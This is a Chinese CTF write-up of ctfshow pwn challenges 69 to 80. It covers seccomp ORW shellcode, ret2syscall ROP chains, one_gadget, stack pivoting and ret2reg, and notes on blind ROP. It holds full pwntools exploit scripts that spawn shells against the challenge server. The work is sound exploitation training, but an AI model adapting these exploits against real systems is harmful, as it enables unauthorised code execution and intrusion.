# 有收获的题目

pwn69(沙盒机制)

pwn76(逻辑分析题,栈迁移但是只覆盖了 ebp)

pwn79(ret2reg, 利用 call /jmp 跳转到保存 shellcode 的地址的寄存器来执行)

# pwn69(沙盒机制)

# 题目

题目描述: 可以尝试用ORW读flag flag文件位置为/ctfshow_flag

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

main函数

c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0LL;
}

第一个函数 sub_400949()

看到启用了沙箱,这里是显示是黑名单过滤...

查看第三个函数 sub_400A16()

c
int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
  puts("Now you can use ORW to do");
  read(0, buf, 0x38uLL);
  return puts("No you don't understand I say!");
}

这里可以溢出,但是溢出范围不大,没有开 NX 可以执行 shellcode,但是有沙箱,利用 seccomp-tools 工具看看

这里显示可以执行 orw,写入 orw 的 shellcode 执行

这里还有一个问题就是,我们构造的 shellcode 写入到哪里,栈上可执行,但是栈的地址不知道,而 main 一开始使用 mmap 开辟了一块空间,权限为 6,可读写(可以利用 orw 进行读写,没有执行权限能执行 shellcode 吗?,这里在 mmap 中开辟的空间,有对应操作的权限即可执行对应命令)

这里利用 mmap 空间将 flag 读入到这里,然后输出出来即可

但是我们如何将 shellcode 注入到 mmap 空间里?

因为溢出的 rop 大小受限,这里就需要利用汇编命令来执行,在栈上构造命令: shellcode.read(0,mmap,0x100)+asm(mov rax,0x123000; jmp rax) 这里是为了能够在 mmap 空间写入 shellcode 然后跳转执行

但是在栈上的命令还需要去执行,发现程序有命令 jmp rsp

可以利用该命令跳转回栈上执行(不知道为什么 wp 后面还跟有 asm("sub rsp,0x30; jmp rsp") , 感觉不需要,但是去掉就会报错,然后想了想,大概因为 leave 指令将栈顶给重置了,然后 ret 又 pop ebp,栈顶又减,所以 rsp 指向后面的命令 asm("sub rsp,0x30; jmp rsp")

这里还有一个要点就是利用 open 打开的 flag 文件后文件描述符是 3,所以使用的 read(3,mmap,0x100)这里也要文件描述符变成 3(因为 0,1,2 是标志的输入输出,标准错误)

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn69')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
#p=remote("pwn.challenge.ctf.show",28220)
shellcode = asm(shellcraft.sh())
mmap=0x123000
jmp_rsp=0x0000000000400a01
p.recvuntil("to do\n")
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap,0x100))
shellcode+=asm(shellcraft.write(1,mmap,0x100))
payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload=payload.ljust(0x28,b"a")
payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

# pwn70(64 位 orw)

# 题目

题目描述: 可以开始你的个人秀了 flag文件位置为/flag

64 位程序,开启了 canary

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

ida 无法反汇编

main:

is_printable:

通过这就找到,我们需要跳出这个循环,就需要让 0(图里的 rbx 第一次应该为 0)大于等于 strlen 的长度,所以用 \x00 截断【但是又疑惑一点,wp 中先 push 0,然后 push flag,这个 0 难道不是作为 flag 字符串的结束符吗,这里并不是作为终止符,如果是终止符应该是后 push 0 才对】

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn69')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28294)
mmap=0x000000000602068
jmp_rsp=0x0000000000400a01
p.recvuntil("name:\n")
shellcode="push 0;push 0x67616c66;mov rax,2;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall;" //open(注意这里先push的0)
shellcode+="mov rax,0;mov rdi ,0x3;mov rsi,rsp;mov rdx,0x100;syscall;"//read
shellcode+="mov rax,1;mov rdi ,0x1;mov rsi,rsp;mov rdx,0x100;syscall" //write
p.sendline(asm(shellcode))
p.interactive()

# pwn71 (32 位系统调用)

# 题目

题目描述: 32位的ret2syscall

32 位程序 ,开启了 nx

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

ida32 查看

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("===============CTFshow--PWN===============");
  puts("Try to use ret2syscall!");
  gets(&v4);
  return 0;
}

有 gets 可以直接进行溢出,根据题目是系统调用,那么查看系统是否有 int 0x80


直接构造系统调用的 rop (ret 后面接参数)

这里 ida 的偏移不准,最后发现是 0x70(0x6c+4)

n
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p=process("")
p=remote("pwn.challenge.ctf.show",28158)
binsh=0x080be408
int_0x80=0x08049421
eax=0x080bb196
ebx=0x080481c9
pop_edx_ecx_ebx_ret=0x0806eb90
payload=b"a"*(0x70)+p32(eax)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
p.sendline(payload)
p.interactive()

# pwn72 (多次执行系统调用)

# 题目

题目描述: 接着练ret2syscall,多系统函数调用

32 位程序

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+10h] [ebp-20h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("CTFshow-PWN");
  puts("where is my system?");
  gets(&v4);
  puts("Emmm");
  return 0;
}

找到的这个 int 0x80 无法使用,因为没有 ret 无法执行后面的系统调用

利用这个地址的 int 0x80 , 后面有 ret

并没有找到 '/bin/sh'

改用 sh 没有成功,利用 系统调用read函数将 来将 /bin/sh 写入到 bss 段上

n
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=remote("pwn.challenge.ctf.show",28212)
sh=0x080be52b
int_0x80=0x806F350
eax=0x080bb2c6
ebx=0x080481c9
bss=0x80EAF85
pop_edx_ecx_ebx_ret=0x0806ecb0
payload=b"a"*(44)+p32(eax)+p32(0x3)+p32(pop_edx_ecx_ebx_ret)+p32(0x100)+p32(bss)+p32(0)+p32(int_0x80)
payload+=p32(eax)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_0x80)
p.sendline(payload)
p.send("/bin/sh\x00")
p.interactive()

# pwn73 (ROPgadget 构造系统调用)

# 题目

题目描述: 愉快的尝试一下一把梭吧!

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
c
int show()
{
  char v1[24]; // [esp+0h] [ebp-18h] BYREF
  puts("Try to Show-hand!!");
  return gets(v1);
}

直接有个溢出,然后根据题目说明直接利用 ROPgadget 构造系统调用链即可

ROPgadget --binary pwn73 --ropchain

将产生的 rop 链复制到 exp 里加上对应字节的 padding 和库函数即可

n
from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')
P=remote("pwn.challenge.ctf.show",28270)
p = b'a'*28
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
P.sendline(p)
P.interactive()

# pwn74(利用 one_gadget)

# 题目

题目描述: 噢?好像到现在为止还没有了解到one_gadget?

64 位保护全开

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF
  v4[2] = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts(s);
  puts(asc_A80);
  puts(asc_B00);
  puts(asc_B90);
  puts(asc_C20);
  puts(asc_CA8);
  puts(asc_D40);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : PWN_Tricks                                              ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Use one_gadget a shuttle!                               ");
  puts("    * *************************************                           ");
  printf("What's this:%p ?\n", &printf);
  __isoc99_scanf("%ld", v4);
  v4[1] = v4[0];
  ((void (*)(void))v4[0])();
  return 0;
}

有 scanf 函数,可以进行栈溢出,但是开启了 canary,而下面调用了函数指针【将我们输入的值利用函数指针的特性,将其转换为函数并进行调用】

所以我们输入要执行的函数地址就会被执行,题目说明利用 one_gadget,那么我们可以通过 one_gadget 工具查找对应的 libc 库内的 execve("/bin/sh",0,0) 函数的地址(有限制条件)然后利用该地址 + libc 基地址即可

发现只有第三个符合要求

n
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p=process("")
e=ELF("./pwn74")
p=remote("pwn.challenge.ctf.show",28128)
libc=ELF("./64libc.so.6")
p.recvuntil("this:")
printf=int(p.recv(14),16)
print("print:",hex(printf))
libc_base=printf-libc.symbols["printf"]
execve=libc_base+0x10a2fc
payload=str(execve)
p.sendline(payload)
p.interactive()

# pwn75 (栈迁移)

# 题目

题目描述: 栈空间不够怎么办?

32 位程序,开启了 NX

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
c
int ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF
  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Welcome, %s\n", s);
  puts("What do you want to do?");
  read(0, s, 0x30u);
  return printf("Nothing here ,%s\n", s);
}

栈迁移,由于溢出部分很少,那么我们可以先在栈内构造 system_plt 然后将将栈低迁移到 s 的起始处,利用第二个 read 读入 "/bin/sh" ,因为我们要将栈迁移到栈顶,所以要泄露 ebp 的地址,而需要通过调试来找到我们输入的字符串相对与 ebp 的偏移(不一定会是在栈顶)

调试:

在要知道与 ebp 的偏移,就需要进行动态调试【动态调试要 start 进入输入完后直接查看栈,不然利用 r 输入完后查看会被改变】:

首先查看 buf 的地址 (一步一步进入到 read 处):

输入 aaaa 查看栈:

对于这里 ebp 0xffffd008 是当前函数的 ebp,框里的是 main 的 ebp,要通过 main 的 ebp 函数来计算(因为泄露的是 main 函数的 ebp 地址)

最后偏移:

因此就知道了 buf 与 ebp 的偏移 buf=ebp-0x38

利用 printf 将 ebp 泄露出来即可(printf 输出字符串时遇到 \0 会停止输出,只要填满就不会插入空字符)

一开始想用 read 写入 /bin/sh 发现不行,感觉是因为将栈内容改变了。。

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./pwn75')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28231)
leave_ret=0x080484d5
system=0x8048400
read=0x80483D0
p.recvuntil("codename:\n")
payload1=b"a"*0x24+b"flag"#p32()+p32(system)+p32(flag)#+p32()+p32()+p32()+p32()
#payload1=p64()+p64()+p64()+p64()
#gdb.attach(p,"b *")
#gdb.attach(p)
#gdb.attach(pid)
p.send(payload1)
p.recvuntil("flag")
ebp=u32(p.recv(4))
buf=ebp-0x38
print("ebp",hex(ebp))
p.recv()
#payload2=p32(read)+p32(system)+p32(0)+p32(buf+12)+p32(10)+p32(0)+p32(buf+12)#buf+12 is address of "/bin/sh" in buf,abrove is 0~4(read),4~8(system),8~12(p32(0))
payload2=(p32(system)+p32(0)+p32(buf+12)+b"/bin/sh\x00").ljust(0x28,b"a")+p32(buf-4)+p32(leave_ret)
#payload2=payload2.ljust(0x28,b"a")
#payload2+=p32(buf-4)+p32(leave_ret)
p.send(payload2)
#p.sendline("/bin/sh\x00")
p.interactive()

# pwn76 (代码逻辑分析,MD5,base64 加解密)

# 题目

题目描述: 还是那句话,理清逻辑很重要

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

这里的逻辑就是,输入一个 base64 加密的字符串,然后程序会进行解密,并计算输入字符串的长度,输入的长度不能超过 12,将解密的字符串(v4)复制到 bss 段的 input 中,然后利用 else 语句中的 auth函数 ,在这里面将 input 的内容在复制到 v4(输入 12 个字节能够覆盖 ebp),然后根据输入的内容的长度计算 md5 的值并打印,再和程序内固定的 md5 值进行比较,相等能拿到 flag

# 漏洞分析

上面已经知道 auth 函数里面会将输入的字符串保存到 v4 中,最大能输入 12 个字节,这就可以覆盖 ebp,但是无法覆盖 ret,我认为是通过 ebp 导致最后执行完这个函数后会寻址 ebp 内保存的地址作为 main 的 ebp,这里被修改了,所以就会将修改后的地址作为 ebp 的地址然后执行这里的代码(作为 rop)

返回到 ebp 后 esp 会 + 4,所以将后门放入伪造的地址加 4 处

【base64 要加入库 import base64 ,然后加密为 base64.b64encode(payload)

n
from pwn import *
from LibcSearcher import *
import base64
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28234)
p.recvuntil("login: ")
system_binsh=0x08049284
intput=0x0811EB40
payload1=b"a"*4+p32(system_binsh)+p32(intput)
payload1=base64.b64encode(payload1)
p.sendline(payload1)
p.interactive()

# pwn77 (rop 需要栈对齐,寻址数组)

# 题目

题目描述: Ez ROP or Mid ROP ?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
c
__int64 ctfshow()
{
  int v0; // eax
  __int64 result; // rax
  char v2[267]; // [rsp+0h] [rbp-110h]
  char v3; // [rsp+10Bh] [rbp-5h]
  int v4; // [rsp+10Ch] [rbp-4h]
  v4 = 0;
  while ( !feof(stdin) )
  {
    v3 = fgetc(stdin);
    if ( v3 == 10 )
      break;
    v0 = v4++;
    v2[v0] = v3;
  }
  result = v4;
  v2[v4] = 0;
  return result;
}

当输入了 0x110-4 个字节内容,可以看到圈出来的地方为 v4 的值(用来索引地址)

所以我们可以根据上面的发现,来直接修改 v4:先有利用 v3 输入 \x118 让 v2 在 0x110-4 的地方覆盖 v4 为 \x118 ,然后利用 v4 被修改的值反作用给 v2 去偏移为 0x118 的地方寻址到 ret

官方的 wp 之所以是 \x18 是因为高一位已经是 1 了,所以就不用写入 118 了,从上面的图也能发现是 0x10c 所以只需要覆盖 0c18 即可

而要想通过完整覆盖 3 位需要 b"a"*(0x110-8)+p64(0x11500000000) 这样来整个覆盖,至于为什么是 115 ,因为调试时输入 118 最后显示为 11b ,所以这里减了 3 就恰好是 118

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./pwn77')
e=ELF('./pwn77')
libc=ELF("./64libc.so.6")
p=remote("pwn.challenge.ctf.show",28232)
#p=remote('node4.buuoj.cn',28249)
fgetc_got=e.got["fgetc"]
puts_plt=e.plt["puts"]
main=e.sym["main"]
rdi_ret=0x00000000004008e3
ret=0x0000000000400576
p.recvuntil("T^T\n")
payload1=b"a"*(0x110-8)+p64(0x11500000000)+p64(rdi_ret)+p64(fgetc_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)
fgetc=u64(p.recv(6).ljust(8,b'\x00'))
print("fgetc:",hex(fgetc))
libc_base=fgetc-libc.sym["fgetc"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
print("system:",hex(system))
p.recvuntil("T^T\n")
payload2=b"a"*(0x110-8)+p64(0x11500000000)+p64(rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main) #注意栈对齐
p.sendline(payload2)
p.interactive()

# pwn78(64 位系统调用)

# 题目

题目描述: 64位ret2syscall

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[80]; // [rsp+0h] [rbp-50h] BYREF
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 1LL, 0LL);
  puts("CTFshowPWN!");
  puts("where is my system_x64?");
  gets(v4);
  puts("fuck");
  return 0;
}

题目说是系统调用,然后 ida 旁边一大堆函数,认为是静态编译,所以会有很多寄存器可以用,再找一下 syscall 命令来进行系统调用

没有找到 /bin/sh 所以利用 read 系统调用来写入

c
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn78')
#e=ELF('./')
#p=remote("pwn.challenge.ctf.show",28231)
bss=0x0000000006C1C61
syscall_ret=0x00000000045BAC5
pop_rax=0x000000000046b9f8 #pop_rax_ret,这里调用的寄存器都是分开的所以就要寄存器后面紧跟对应参数
pop_rdi=0x00000000004016c3
pop_rsi=0x00000000004017d7
pop_rbx=0x00000000004377d5
p.recvuntil("system_x64?\n")
payload1=b"a"*(0x50+8)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rbx)+p64(0x10)+p64(syscall_ret)
payload1+=p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rbx)+p64(0)+p64(syscall_ret)
p.sendline(payload1)
p.sendline("/bin/sh\x00")
p.interactive()

# pwn79(ret2reg)

ret2reg: 这个方法是在 ret 之前有寄存器保存了 shellcode 的地址时,可以通过 call\jmp 命令来跳转到对于地址,(如 jmp eax ,eax 保存了 shellcode 的地址)

# 题目

题目描述: 你需要注意某些函数,这是解题的关键!

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int input[512]; // [esp+0h] [ebp-808h] BYREF
  int *v5; // [esp+800h] [ebp-8h]
  v5 = &argc;
  init();
  logo();
  printf("Enter your input: ");
  fgets((char *)input, 2048, stdin);
  ctfshow((char *)input);
  return 0;
}
c
void __cdecl ctfshow(char *input)
{
  char buf[512]; // [esp+0h] [ebp-208h] BYREF
  strcpy(buf, input);
}

这里可以先在 main 函数写 2048(0x800)字节的内容,在 ctfshow 函数会将这个内容复制到一个 0x200 大小的数组,那么就可以导致溢出

这里没有开启 NX,所以可以写入 shellcode,但是我们要考虑如何跳转到 shellcode 的地址,这里就利用 ret2reg 来实现:

ctfshow 内的 leave 命令出下个断点:

执行输入 wsnd : 可以看见在 leave 命令处 eax、ecx、edx 寄存器都保存了字符串的地址

利用溢出将 ret 覆盖为 call eax 或者 jmp eax 之类的,能跳转到输入字符串地址即可

最终就是先写入 shellcode ,然后用 call edx 覆盖 ret 达到执行 shellcode 的目的【这里一开始认为 call edxcall eax 两个都可以,但是实际执行起来 edx 的并不行,调试执行完 ret 也没有发现修改 edx 的内容...】

# pwn80 (盲打 rop,循环爆破)

# 题目

题目描述: 盲打 blind rop (不是忘记放附件,是本身就没附件!!!)

盲打。。,nc 连接

【盲打 rop 的知识】https://wooyun.js.org/drops/Blind Return Oriented Programming (BROP) Attack - 攻击原理.html

buf:

测试 buf 的大小,可以通过循环输入不断变长的字符串,每次 长度加一 ,直到后面导致 程序崩溃 ,程序产生崩溃时的长度 减1 就是 buf 的长度【通过这种方式也可逐个字节的爆破 canary ,因为第一个字节与程序的 canary 相同时程序并不会崩溃,所以爆破一个字节有 256 种可能,8 个字节就是 8*256 ,爆破难度并不大,而爆破完后 没有 一次成功的即是 没有开启canary

stop_gadget:

该 gadget 是不会使程序崩溃,使程序会返回到 main(或者其他已经执行了的函数)再次执行,导致产生一次循环,只要利用该地址覆盖 ret,判断其返回内容是否是循环执行了程序即可找到

use_rop:

一个带有 ret 的 rop,可以时我们跳转到其他地方,想要找出来需要使其覆盖 ret 的地址,已经覆盖后面的地址为 stop_gadget ,然后执行的时候跳转到 stop_gadget 这样程序也不会崩溃,从而可以知道这是 use_rop 【但是这还有可能是找到了一个 stop_gadget

brop:

brop 是一个带有所有寄存器的 rop: rdi rsi rdx rcx r8 r9 ret

这可以是我们进行任意的传参,找到它的方法与 use_rop 类似,只不过需要利用 crash_add 来填充 ret 后的 6 个地址,再用 stop_gadget 填充一个地址,这样使得再没有崩溃反而循环回去了情况产生时就会是我们需要的 brop 导致的